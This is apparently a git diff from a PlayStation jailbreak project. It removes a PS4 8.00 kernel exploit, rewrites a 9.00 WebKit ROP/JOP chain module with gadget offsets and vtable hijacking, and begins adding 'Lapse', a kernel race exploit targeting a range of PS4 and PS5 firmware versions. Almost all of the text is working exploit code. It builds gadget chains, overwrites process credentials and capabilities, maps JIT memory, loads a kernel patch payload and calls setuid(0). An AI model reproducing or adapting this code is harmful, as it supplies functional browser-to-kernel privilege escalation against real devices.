-function push_ret_einval(kchain) {
- const EINVAL = 22;
- kchain.push_gadget('pop rax; ret');
- kchain.push_constant(EINVAL);
-}
-
-function get_ucred_addr(kchain, sd, mmap_area) {
- const chain = new Chain();
- const offset_jmp_buf_rcx = 0x10;
- const offset_thread_td_proc = 8;
- const offset_proc_p_ucred = 0x40;
-
- // we enter fo_chmod with rcx containing the "struct thread td" argument
- kchain.push_save();
-
- // rax = td
- kchain.push_gadget('pop rax; ret');
- kchain.push_value(kchain.jmp_buf_p);
- kchain.push_gadget('pop rdx; ret');
- kchain.push_constant(offset_jmp_buf_rcx);
- kchain.push_gadget('add rax, rdx; ret');
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
- // rax = td->td_proc
- kchain.push_gadget('pop rdx; ret');
- kchain.push_constant(offset_thread_td_proc);
- kchain.push_gadget('add rax, rdx; ret');
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
- // rax = td->td_proc->p_ucred
- kchain.push_gadget('pop rdx; ret');
- kchain.push_constant(offset_proc_p_ucred);
- kchain.push_gadget('add rax, rdx; ret');
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
-
- kchain.push_get_retval();
-
- kchain.push_restore();
-
- push_ret_einval(kchain);
-
- push_krop_end(kchain);
-
- chain.syscall('fchmod', sd, mmap_area);
- kchain.clean();
-
- return kchain.return_value;
-}
-
-function get_jit_capabilities(kchain, sd, mmap_area, ucred_addr) {
- const chain = new Chain();
- // struct ucred has been customized for the ps4
- //
- // See
- // OpenOrbis/mira-project/external/freebsd-headers/include/sys/ucred.h
- // at https://github.com for the definition.
- //
- // Credits to CelesteBlue and Cryptogenic for telling which cr_sceCaps[x]
- // to modify. Da Puppeh for the definition of ucred.
- const p_ucred = ucred_addr;
-
- // cr_sceCaps[0]
- kchain.push_write64(p_ucred.add(0x60), new Int(-1));
- // cr_sceCaps[1]
- kchain.push_write64(p_ucred.add(0x68), new Int(-1));
-
- push_ret_einval(kchain);
-
- push_krop_end(kchain);
-
- chain.syscall('fchmod', sd, mmap_area);
- kchain.clean();
-}
-
-async function kexec_payload(kchain, sd, mmap_area, scratch) {
- const chain = new Chain();
- const map_size = 0x100000;
- // PROT_READ | PROT_WRITE | PROT_EXEC
- const prot_rwx = 7;
- // PROT_READ | PROT_EXEC
- const prot_rx = 5;
- // PROT_READ | PROT_WRITE
- const prot_rw = 3;
- const MAP_SHARED = 1;
-
- const exec_handle = chain.syscall('jitshm_create', 0, map_size, prot_rwx);
- const write_handle = chain.syscall('jitshm_alias', exec_handle, prot_rw);
-
- const exec_addr = new Addr(
- chain.syscall(
- 'mmap',
- '0x900000000',
- map_size,
- prot_rx,
- MAP_SHARED, // this flag is required
- exec_handle,
- 0,
- )
- );
-
- const write_addr = new Addr(
- chain.syscall(
- 'mmap',
- '0x910000000',
- map_size,
- prot_rw,
- MAP_SHARED, // this flag is required
- write_handle,
- 0,
- )
- );
-
- debug_log(`exec_addr: ${exec_addr}`);
- debug_log(`write_addr: ${write_addr}`);
- if (!exec_addr.eq('0x900000000') && !write_addr.eq('0x910000000')) {
- die('mmap() for jit failed');
- }
-
- // mov eax, 0x1337; ret
- const test_code = new Int('0xc300001337b8');
-
- write_addr.write64(0, test_code);
- alert('test jit exec');
- let retval = chain.call(exec_addr);
- alert('returned successfully');
-
- debug_log(`jit retval: ${retval}`);
- if (!retval.eq(0x1337)) {
- die('test jit exec failed');
- }
-
- const buf = await get_patches('./kpatch/80x.elf');
- // start of loadable segments is at offset 0x1000
- const patches = new Uint8Array(buf, 0x1000);
-
- if (patches.length > map_size) {
- die(`patch file too large (>${$map_size}): ${patches.length}`);
- }
-
- // copy the file to executable memory
- mem.set_addr(write_addr);
- mem.worker.set(patches);
-
- // Modify the stack frame so that we jump to exec_addr with interrupts
- // enabled and rsp is a kernel address.
- kchain.push_save();
-
- // scratch[0] = rbp
- kchain.push_gadget('xchg rbp, rax; ret');
- kchain.push_gadget('pop rdi; ret');
- kchain.push_value(scratch);
- kchain.push_gadget('mov qword ptr [rdi], rax; ret');
-
- // scratch[8] = old_rbp
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
- kchain.push_gadget('pop rdi; ret');
- kchain.push_value(scratch.add(8));
- kchain.push_gadget('mov qword ptr [rdi], rax; ret');
-
- // rax = rbp
- kchain.push_gadget('pop rax; ret');
- kchain.push_value(scratch);
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
-
- // rax -= 8
- kchain.push_gadget('pop rdx; ret');
- kchain.push_constant(-8);
- kchain.push_gadget('add rax, rdx; ret');
-
- // scratch[0x10] = rbp - 8
- kchain.push_gadget('pop rdi; ret');
- kchain.push_value(scratch.add(0x10));
- kchain.push_gadget('mov qword ptr [rdi], rax; ret');
-
- // rdx = rbp - 8
- kchain.push_gadget('pop rcx; ret');
- kchain.push_value(scratch.add(0x10));
- kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
-
- // rax = old_rbp
- kchain.push_gadget('pop rax; ret');
- kchain.push_value(scratch.add(8));
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
-
- // *(rbp - 8) = old_rbp
- kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
-
- // rdx = rbp
- kchain.push_gadget('pop rcx; ret');
- kchain.push_value(scratch);
- kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
-
- // *rbp = exec_addr
- kchain.push_gadget('pop rax; ret');
- kchain.push_value(exec_addr);
- kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
-
- kchain.push_restore();
-
- // rbp -= 8
- kchain.push_gadget('xchg rbp, rax; ret');
- kchain.push_gadget('pop rdx; ret');
- kchain.push_constant(-8);
- kchain.push_gadget('add rax, rdx; ret');
- kchain.push_gadget('xchg rbp, rax; ret');
-
- // have the payload return EINVAL for us, read push_ret_einval() for why
- const EINVAL = 22;
- // kpatch(EINVAL, NULL)
- kchain.push_gadget('pop rdi; ret');
- kchain.push_constant(EINVAL);
- kchain.push_gadget('pop rsi; ret');
- kchain.push_constant(0);
-
- push_krop_end(kchain);
-
- chain.syscall('mlock', exec_addr, map_size);
-
- alert('test jit kexec');
- chain.syscall('fchmod', sd, mmap_area);
- kchain.clean();
-
- retval = chain.syscall('setuid', 0);
- debug_log(`setuid(): ${retval}`);
- if (!retval.eq(0)) {
- die('kpatch() failed');
- }
- debug_log('kernel exploit succeeded!');
-}
-
-async function get_patches(url) {
- const response = await fetch(url);
-
- if (!response.ok) {
- throw Error(
- `Network response was not OK, status: ${response.status}\n`
- + `failed to fetch: ${url}`
- );
- }
-
- return await response.arrayBuffer();
-}
-
-async function kexploit() {
- init(Chain);
- const kchain = new Chain();
-
- mlock_gadgets(gadgets);
- mlock_kchain(kchain);
- const [
- mmap_area,
- mmap_area_size,
- jop_buffer,
- rax_ptrs,
- scratch,
- ] = prepare_knote(kchain);
- const [sd, kretval] = trigger_oob(kchain, mmap_area);
-
- // offset relative to kernel base
- const offset_k_socketops_fo_chmod = 0x1a76060;
- kbase = kretval.sub(offset_k_socketops_fo_chmod);
- debug_log(`kbase: ${kbase}`);
-
- // setup for fchmod() kernel ROP chain
- mmap_area.write64(8, jop_buffer);
- rax_ptrs.write64(0x70, kchain.get_gadget(jop3));
-
- const p_ucred = get_ucred_addr(kchain, sd, mmap_area);
- debug_log(`p_ucred: ${p_ucred}`);
-
- get_jit_capabilities(kchain, sd, mmap_area, p_ucred);
- await kexec_payload(kchain, sd, mmap_area, scratch);
-}
-
-kexploit();
diff --git a/rop/900.mjs b/rop/900.mjs
index cedb3eb..bc57556 100644
--- a/rop/900.mjs
+++ b/rop/900.mjs
@@ -17,13 +17,13 @@ along with this program. If not, see . */
// by janisslsm (John) from ps4-dev discord
-import * as config from '../config.mjs';
+import * as config from '/config.mjs';
-import { Int } from '../module/int64.mjs';
-import { debug_log, die } from '../module/utils.mjs';
-import { Addr, mem } from '../module/mem.mjs';
-import { KB, MB } from '../module/constants.mjs';
-import { ChainBase } from '../module/chain.mjs';
+import { Int } from '/module/int64.mjs';
+import { log, align, die } from '/module/utils.mjs';
+import { Addr, mem } from '/module/mem.mjs';
+import { KB, MB } from '/module/constants.mjs';
+import { ChainBase } from '/module/chain.mjs';
import {
make_buffer,
@@ -31,10 +31,10 @@ import {
get_view_vector,
resolve_import,
init_syscall_array,
-} from '../module/memtools.mjs';
+} from '/module/memtools.mjs';
-import * as rw from '../module/rw.mjs';
-import * as o from '../module/offset.mjs';
+import * as rw from '/module/rw.mjs';
+import * as o from '/module/offset.mjs';
const origin = window.origin;
const port = '8000';
@@ -42,7 +42,9 @@ const url = `${origin}:${port}`;
const syscall_array = [];
+const offset_func_exec = 0x18;
const offset_textarea_impl = 0x18;
+const offset_js_inline_prop = 0x10;
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
@@ -66,55 +68,64 @@ let setjmp_addr = null;
let longjmp_addr = null;
// libSceNKWebKit.sprx
-let libwebkit_base = null;
+export let libwebkit_base = null;
// libkernel_web.sprx
-let libkernel_base = null;
+export let libkernel_base = null;
// libSceLibcInternal.sprx
-let libc_base = null;
+export let libc_base = null;
-// Chain implementation based on Chain800. Replaced offsets that changed
+// Chain implementation based on Chain803. Replaced offsets that changed
// between versions. Replaced gadgets that were missing with new ones that
// won't change the API.
-
+//
// gadgets for the JOP chain
//
+// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is
+// because jop1-5 was the original chain used by the old implementation of
+// Chain803. Now the sequence is ta_jop1-3 then to jop2-5.
+//
// When the scrollLeft getter native function is called on PS4 9.00, rsi is the
// JS wrapper for the WebCore textarea class.
-const jop1 = `
-mov rdi, qword ptr [rsi + 0x20]
+const ta_jop1 = `
+mov rdi, qword ptr [rsi + 0x18]
mov rax, qword ptr [rdi]
-call qword ptr [rax + 0x28]
+call qword ptr [rax + 0xb8]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
-// jop1 pushed another object (via the call instruction) but we want no extra
-// objects between the return address and the rbp that will be pushed by jop3
-// later. So we pop the return address pushed by jop1.
+// ta_jop1 pushed another object (via the call instruction) but we want no
+// extra objects between the return address and the rbp that will be pushed by
+// jop2 later. So we pop the return address pushed by ta_jop1.
//
// This will make pivoting back easy, just "leave; ret".
-const jop2 = `
-pop rcx
-jmp qword ptr [rax + 0x7d]
+const ta_jop2 = `
+pop rsi
+jmp qword ptr [rax + 0x1c]
+`;
+const ta_jop3 = `
+mov rdi, qword ptr [rax + 8]
+mov rax, qword ptr [rdi]
+jmp qword ptr [rax + 0x30]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
-const jop3 = `
+const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x58]
`;
-const jop4 = `
+const jop3 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
-const jop5 = `
+const jop4 = `
push rdx
jmp qword ptr [rax]
`;
-const jop6 = 'pop rsp; ret';
+const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -130,11 +141,6 @@ const jop6 = 'pop rsp; ret';
// pop rbp
const rop_epilogue = 'leave; ret';
-const push_rdx_jmp = `
-push rdx
-jmp qword ptr [rax]
-`;
-
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000051a12,
'pop rbx; ret' : 0x00000000000be5d0,
@@ -162,22 +168,27 @@ const webkit_gadget_offsets = new Map(Object.entries({
'neg rax; and rax, rcx; ret' : 0x00000000019771c4,
'adc esi, esi; ret' : 0x000000000148874e,
'add rax, rdx; ret' : 0x00000000003f662c,
+ 'push rsp; jmp qword ptr [rax]' : 0x0000000002bae87f,
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000001b1ed66,
'pop rsi; jmp qword ptr [rax + 0x1c]' : 0x00000000021fce7e,
'mov qword ptr [rdi], rsi; ret' : 0x0000000000040300,
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc,
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b,
+ 'mov dword ptr [rdi], eax; ret' : 0x000000000000613c,
'mov rdx, rcx; ret' : 0x000000000157fe71,
- [push_rdx_jmp] : 0x00000000028bd332,
+ 'mov dword ptr [rax], esi; ret' : 0x00000000005c3482,
+ 'mov dword ptr [rdi], eax; ret' : 0x000000000000613c,
- [jop1] : 0x0000000000f2c778,
- [jop2] : 0x0000000002c326c2,
- [jop3] : 0x0000000000683800,
- [jop4] : 0x0000000000303906,
- [jop5] : 0x00000000028bd332,
- [jop6] : 0x000000000004e293,
+ [jop2] : 0x0000000000683800,
+ [jop3] : 0x0000000000303906,
+ [jop4] : 0x00000000028bd332,
+ [jop5] : 0x000000000004e293,
+
+ [ta_jop1] : 0x00000000004e62a4,
+ [ta_jop2] : 0x00000000021fce7e,
+ [ta_jop3] : 0x00000000019becb4,
}));
const libc_gadget_offsets = new Map(Object.entries({
@@ -186,9 +197,16 @@ const libc_gadget_offsets = new Map(Object.entries({
'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf982,
'setjmp' : offset_libc_setjmp,
'longjmp' : offset_libc_longjmp,
+ //'getcontext' : 0x258f4,
+ 'setcontext' : 0x638,
}));
-const gadgets = new Map();
+const libkernel_gadget_offsets = new Map(Object.entries({
+ // returns the location of errno
+ '__error' : 0xCB80,
+}));
+
+export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
@@ -200,11 +218,15 @@ function get_bases() {
libwebkit_base
.add(offset_wk_stack_chk_fail)
;
- const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
+ const stack_chk_fail_addr = resolve_import(
+ stack_chk_fail_import,
+ true,
+ true
+ );
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
- const memcpy_addr = resolve_import(memcpy_import);
+ const memcpy_addr = resolve_import(memcpy_import, true, true);
const libc_base = find_base(memcpy_addr, true, true);
return [
@@ -214,7 +236,7 @@ function get_bases() {
];
}
-function init_gadget_map(gadget_map, offset_map, base_addr) {
+export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
@@ -229,11 +251,13 @@ class Chain900Base extends ChainBase {
this.flag = new Uint8Array(8);
this.flag_addr = get_view_vector(this.flag);
this.jmp_target = new Uint8Array(0x100);
- rw.write64(this.jmp_target, 0x1c, this.get_gadget(push_rdx_jmp));
- rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
+ rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4));
+ rw.write64(this.jmp_target, 0, this.get_gadget(jop5));
// for save/restore
this.is_saved = false;
+ this.is_stale = false;
+ this.position = 0;
const jmp_buf_size = 0xc8;
this.jmp_buf = new Uint8Array(jmp_buf_size);
this.jmp_buf_p = get_view_vector(this.jmp_buf);
@@ -270,6 +294,7 @@ class Chain900Base extends ChainBase {
super.clean();
this._clean_branch_ctx();
this.is_saved = false;
+ this.is_stale = false;
}
// Use start_branch() and end_branch() to delimit a ROP chain that will
@@ -449,8 +474,6 @@ class Chain900Base extends ChainBase {
this.push_end();
this.run();
this.clean();
-
- return this.return_value;
}
syscall(...args) {
@@ -462,79 +485,78 @@ class Chain900Base extends ChainBase {
this.push_end();
this.run();
this.clean();
+ }
- return this.return_value;
+ push_clear_errno() {
+ this.push_call(this.get_gadget('__error'));
+ this.push_gadget('pop rsi; ret');
+ this.push_value(0);
+ this.push_gadget('mov dword ptr [rax], esi; ret');
+ }
+
+ push_get_errno() {
+ this.push_gadget('pop rdi; ret');
+ this.push_value(this.errno_addr);
+
+ this.push_call(this.get_gadget('__error'));
+
+ this.push_gadget('mov rax, qword ptr [rax]; ret');
+ this.push_gadget('mov dword ptr [rdi], eax; ret');
+ }
+
+ check_stale() {
+ if (this.is_stale) {
+ throw Error('chain already ran, clean it first');
+ }
+ this.is_stale = true;
+ }
+ check_is_empty() {
+ if (this.position === 0) {
+ throw Error('chain is empty');
+ }
}
}
-// helper object for ROP
-const rop_ta = document.createElement('textarea');
-
// Chain for PS4 9.00
-class Chain900 extends Chain900Base {
+export class Chain900 extends Chain900Base {
constructor() {
super();
- // sizeof JSC:JSObject, the JSCell + the butterfly field
- const js_size = 0x10;
- // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
- const js_ta_size = 0x20;
- // start of the array of inline properties (JSValues)
- const offset_js_inline_prop = 0x10;
- // Sizes may vary between webkit versions so we just assume a size
- // that we think is large enough for all of them.
- const vtable_size = 0x1000;
- const webcore_ta_size = 0x180;
-
- const ta_clone = {};
- this.ta_clone = ta_clone;
- const clone_p = mem.addrof(ta_clone);
- const ta_p = mem.addrof(rop_ta);
-
- for (let i = js_size; i < js_ta_size; i += 8) {
- clone_p.write64(i, ta_p.read64(i));
- }
-
- const webcore_ta = ta_p.readp(offset_textarea_impl);
- const m_wrapped_clone = new Uint8Array(
- make_buffer(webcore_ta, webcore_ta_size)
- );
- this.m_wrapped_clone = m_wrapped_clone;
-
- // Replicate the vtable as much as possible or else the garbage
- // collector will crash. It uses functions from the vtable.
+ const textarea = document.createElement('textarea');
+ this.textarea = textarea;
+ const js_ta = mem.addrof(textarea);
+ const webcore_ta = js_ta.readp(0x18);
+ this.webcore_ta = webcore_ta;
+ // Only offset 0x1c8 will be used when calling the scrollLeft getter
+ // native function (our tests don't crash).
//
- // There is no need to restore the original vtable pointer later since
- // it points to a copy with only offset 0x1b8 changed. The scrollLeft
- // getter is not used by the GC.
- const vtable_clone = new Uint8Array(
- make_buffer(webcore_ta.readp(0), vtable_size)
- );
- this.vtable_clone = vtable_clone
-
- clone_p.write64(
- offset_textarea_impl,
- get_view_vector(m_wrapped_clone),
- );
- rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
-
- clone_p.write64(0, ta_p.read64(0));
+ // This implies we don't need to know the exact size of the vtable and
+ // try to copy it as much as possible to avoid a crash due to missing
+ // vtable entries.
+ //
+ // So the rest of the vtable are free for our use.
+ const vtable = new Uint8Array(0x200);
+ const old_vtable_p = webcore_ta.readp(0);
+ this.vtable = vtable;
+ this.old_vtable_p = old_vtable_p;
// 0x1b8 is the offset of the scrollLeft getter native function
- rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
+ rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1));
+ rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
+ rw.write64(vtable, 0x1c, this.get_gadget(ta_jop3));
// for the JOP chain
const rax_ptrs = new Uint8Array(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
this.rax_ptrs = rax_ptrs;
- rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
- rw.write64(rax_ptrs, 0x7d, this.get_gadget(jop3));
- rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
- rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
- rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
+ //rw.write64(rax_ptrs, 8, this.get_gadget(jop2));
+ rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2));
+ rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3));
+ rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
+ rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
// value to pivot rsp to
- rw.write64(rax_ptrs, 0x18, this.stack_addr);
+ rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
const jop_buffer = new Uint8Array(8);
const jop_buffer_p = get_view_vector(jop_buffer);
@@ -542,7 +564,7 @@ class Chain900 extends Chain900Base {
rw.write64(jop_buffer, 0, rax_ptrs_p);
- clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
+ rw.write64(vtable, 8, jop_buffer_p);
}
run() {
@@ -550,20 +572,25 @@ class Chain900 extends Chain900Base {
this.check_is_empty();
this.check_is_branching();
+ // change vtable
+ this.webcore_ta.write64(0, get_view_vector(this.vtable));
// jump to JOP chain
- this.ta_clone.scrollLeft;
+ this.textarea.scrollLeft;
+ // restore vtable
+ this.webcore_ta.write64(0, this.old_vtable_p);
}
}
-const Chain = Chain900;
+export const Chain = Chain900;
-function init(Chain) {
+export function init(Chain) {
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
+ init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
- debug_log('syscall_array:');
- debug_log(syscall_array);
+ log('syscall_array:');
+ log(syscall_array);
Chain.init_class(gadgets, syscall_array);
}
@@ -585,26 +612,26 @@ function test_rop(Chain) {
chain.start_branch();
- debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
+ log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_call(longjmp_addr, jmp_buf_p);
chain.end_branch();
- debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
+ log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_end();
// The ROP chain is a noop. If we crashed, then we did something wrong.
alert('chain run');
- debug_log('test call setjmp()/longjmp()');
+ log('test call setjmp()/longjmp()');
chain.run()
alert('returned successfully');
- debug_log('returned successfully');
- debug_log('jmp_buf:');
- debug_log(jmp_buf);
- debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
+ log('returned successfully');
+ log('jmp_buf:');
+ log(jmp_buf);
+ log(`flag: ${rw.read64(chain.flag, 0)}`);
const state1 = new Uint8Array(8);
- debug_log('test if rax == 0');
+ log('test if rax == 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
@@ -630,13 +657,13 @@ function test_rop(Chain) {
chain.push_end();
chain.run();
- debug_log(`state1 must be 1: ${state1}`);
+ log(`state1 must be 1: ${state1}`);
if (state1[0] !== 1) {
die('if branch not taken');
}
const state2 = new Uint8Array(8);
- debug_log('test if rax != 0');
+ log('test if rax != 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
@@ -662,24 +689,25 @@ function test_rop(Chain) {
chain.push_end();
chain.run();
- debug_log(`state2 must be 2: ${state2}`);
+ log(`state2 must be 2: ${state2}`);
if (state2[0] !== 2) {
die('if branch taken');
}
- debug_log('test syscall getuid()');
+ log('test syscall getuid()');
chain.clean();
// Set the return value to some random value. If the syscall worked, then
// it will likely change.
const magic = 0x4b435546;
rw.write32(chain._return_value, 0, magic);
- const res = chain.syscall('getuid');
+ chain.syscall('getuid');
- debug_log(`return value: ${res}`);
- if (res.eq(magic)) {
+ log(`return value: ${chain.return_value}`);
+ if (chain.return_value.low() === magic) {
die('syscall getuid failed');
}
}
-test_rop(Chain);
+log('Chain900');
+//test_rop(Chain);
diff --git a/scripts/lapse.mjs b/scripts/lapse.mjs
new file mode 100644
index 0000000..0df2697
--- /dev/null
+++ b/scripts/lapse.mjs
@@ -0,0 +1,1739 @@
+/* Copyright (C) 2025 anonymous
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see . */
+
+// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It
+// takes advantage of a bug in aio_multi_delete(). Take a look at the comment
+// at the race_one() function here for a brief summary.
+
+// debug comment legend:
+// * PANIC - code will make the system vulnerable to a kernel panic or it will
+// perform a operation that might panic
+// * RESTORE - code will repair kernel panic vulnerability
+// * MEMLEAK - memory leaks that our code will induce
+
+import { Int } from '/module/int64.mjs';
+import { mem } from '/module/mem.mjs';
+import { log, die, hex, hexdump } from '/module/utils.mjs';
+import { cstr, jstr } from '/module/memtools.mjs';
+import { page_size, context_size } from '/module/offset.mjs';
+import { Chain } from '/module/chain.mjs';
+
+import {
+ View1, View2, View4,
+ Word, Long, Pointer,
+ Buffer,
+} from '/module/view.mjs';
+
+import * as rop from '/module/chain.mjs';
+import * as config from '/config.mjs';
+
+const t1 = performance.now();
+
+// check if we are running on a supported firmware version
+const [is_ps4, version] = (() => {
+ const value = config.target;
+ const is_ps4 = (value & 0x10000) === 0;
+ const version = value & 0xffff;
+ const [lower, upper] = (() => {
+ if (is_ps4) {
+ return [0x100, 0x1250];
+ } else {
+ return [0x100, 0x1020];
+ }
+ })();
+
+ if (!(lower <= version && version < upper)) {
+ throw RangeError(`invalid config.target: ${hex(value)}`);
+ }
+
+ return [is_ps4, version];
+})();
+
+// sys/socket.h
+const AF_UNIX = 1;
+const AF_INET = 2;
+const AF_INET6 = 28;
+const SOCK_STREAM = 1;
+const SOCK_DGRAM = 2;
+const SOL_SOCKET = 0xffff;
+const SO_REUSEADDR = 4;
+const SO_LINGER = 0x80;
+
+// netinet/in.h
+const IPPROTO_TCP = 6;
+const IPPROTO_UDP = 17;
+const IPPROTO_IPV6 = 41;
+
+// netinet/tcp.h
+const TCP_INFO = 0x20;
+const size_tcp_info = 0xec;
+
+// netinet/tcp_fsm.h
+const TCPS_ESTABLISHED = 4;
+
+// netinet6/in6.h
+const IPV6_2292PKTOPTIONS = 25;
+const IPV6_PKTINFO = 46;
+const IPV6_NEXTHOP = 48;
+const IPV6_RTHDR = 51;
+const IPV6_TCLASS = 61;
+
+// sys/cpuset.h
+const CPU_LEVEL_WHICH = 3;
+const CPU_WHICH_TID = 1;
+
+// sys/mman.h
+const MAP_SHARED = 1;
+const MAP_FIXED = 0x10;
+
+// sys/rtprio.h
+const RTP_SET = 1;
+const RTP_PRIO_REALTIME = 2;
+
+// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter
+// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue
+// group. queue 0 of each group is currently unused. queue 1 has the lowest
+// priority and queue 3 has the highest
+//
+// the SceFsstAIO workers will process entries at the main queues. they will
+// refill the main queues from the corresponding wait queues each time they
+// dequeue a request (e.g. fill the low priority main queue from the low
+// priority wait queue)
+//
+// entries on the wait queue will always have a 0 ticket number. they will
+// get assigned a nonzero ticket number once they get put on the main queue
+const AIO_CMD_READ = 1;
+const AIO_CMD_WRITE = 2;
+const AIO_CMD_FLAG_MULTI = 0x1000;
+const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
+const AIO_STATE_COMPLETE = 3;
+const AIO_STATE_ABORTED = 4;
+const num_workers = 2;
+// max number of requests that can be created/polled/canceled/deleted/waited
+const max_aio_ids = 0x80;
+
+// highest priority we can achieve given our credentials
+const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100);
+
+// CONFIG CONSTANTS
+const main_core = 7;
+const num_grooms = 0x200;
+const num_handles = 0x100;
+const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
+const num_alias = 10;
+const num_races = 100;
+const leak_len = 16;
+const num_leaks = 5;
+const num_clobbers = 8;
+
+let chain = null;
+async function init() {
+ await rop.init();
+ chain = new Chain();
+
+ // TODO assumes ps4 9.0x
+ const pthread_offsets = new Map(Object.entries({
+ 'pthread_create' : 0x25510,
+ 'pthread_join' : 0xAFA0,
+ 'pthread_barrier_init' : 0x273D0,
+ 'pthread_barrier_wait' : 0xA320,
+ 'pthread_barrier_destroy' : 0xFEA0,
+ 'pthread_exit' : 0x77A0,
+ }));
+
+ rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
+
+}
+
+function sys_void(...args) {
+ return chain.syscall_void(...args);
+}
+
+function sysi(...args) {
+ return chain.sysi(...args);
+}
+
+function call_nze(...args) {
+ const res = chain.call_int(...args);
+ if (res !== 0) {
+ die(`call(${args[0]}) returned nonzero: ${res}`);
+ }
+}
+
+// #define SCE_KERNEL_AIO_STATE_NOTIFIED 0x10000
+//
+// #define SCE_KERNEL_AIO_STATE_SUBMITTED 1
+// #define SCE_KERNEL_AIO_STATE_PROCESSING 2
+// #define SCE_KERNEL_AIO_STATE_COMPLETED 3
+// #define SCE_KERNEL_AIO_STATE_ABORTED 4
+//
+// typedef struct SceKernelAioResult {
+// // errno / SCE error code / number of bytes processed
+// int64_t returnValue;
+// // SCE_KERNEL_AIO_STATE_*
+// uint32_t state;
+// } SceKernelAioResult;
+//
+// typedef struct SceKernelAioRWRequest {
+// off_t offset;
+// size_t nbyte;
+// void *buf;
+// struct SceKernelAioResult *result;
+// int fd;
+// } SceKernelAioRWRequest;
+//
+// typedef int SceKernelAioSubmitId;
+//
+// // SceAIO submit commands
+// #define SCE_KERNEL_AIO_CMD_READ 0x001
+// #define SCE_KERNEL_AIO_CMD_WRITE 0x002
+// #define SCE_KERNEL_AIO_CMD_MASK 0xfff
+// // SceAIO submit command flags
+// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
+//
+// #define SCE_KERNEL_AIO_PRIORITY_LOW 1
+// #define SCE_KERNEL_AIO_PRIORITY_MID 2
+// #define SCE_KERNEL_AIO_PRIORITY_HIGH 3
+//
+// int
+// aio_submit_cmd(
+// u_int cmd,
+// SceKernelAioRWRequest reqs[],
+// u_int num_reqs,
+// u_int prio,
+// SceKernelAioSubmitId ids[]
+// );
+function aio_submit_cmd(cmd, requests, num_requests, handles) {
+ sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles);
+}
+
+// the various SceAIO syscalls that copies out errors/states will not check if
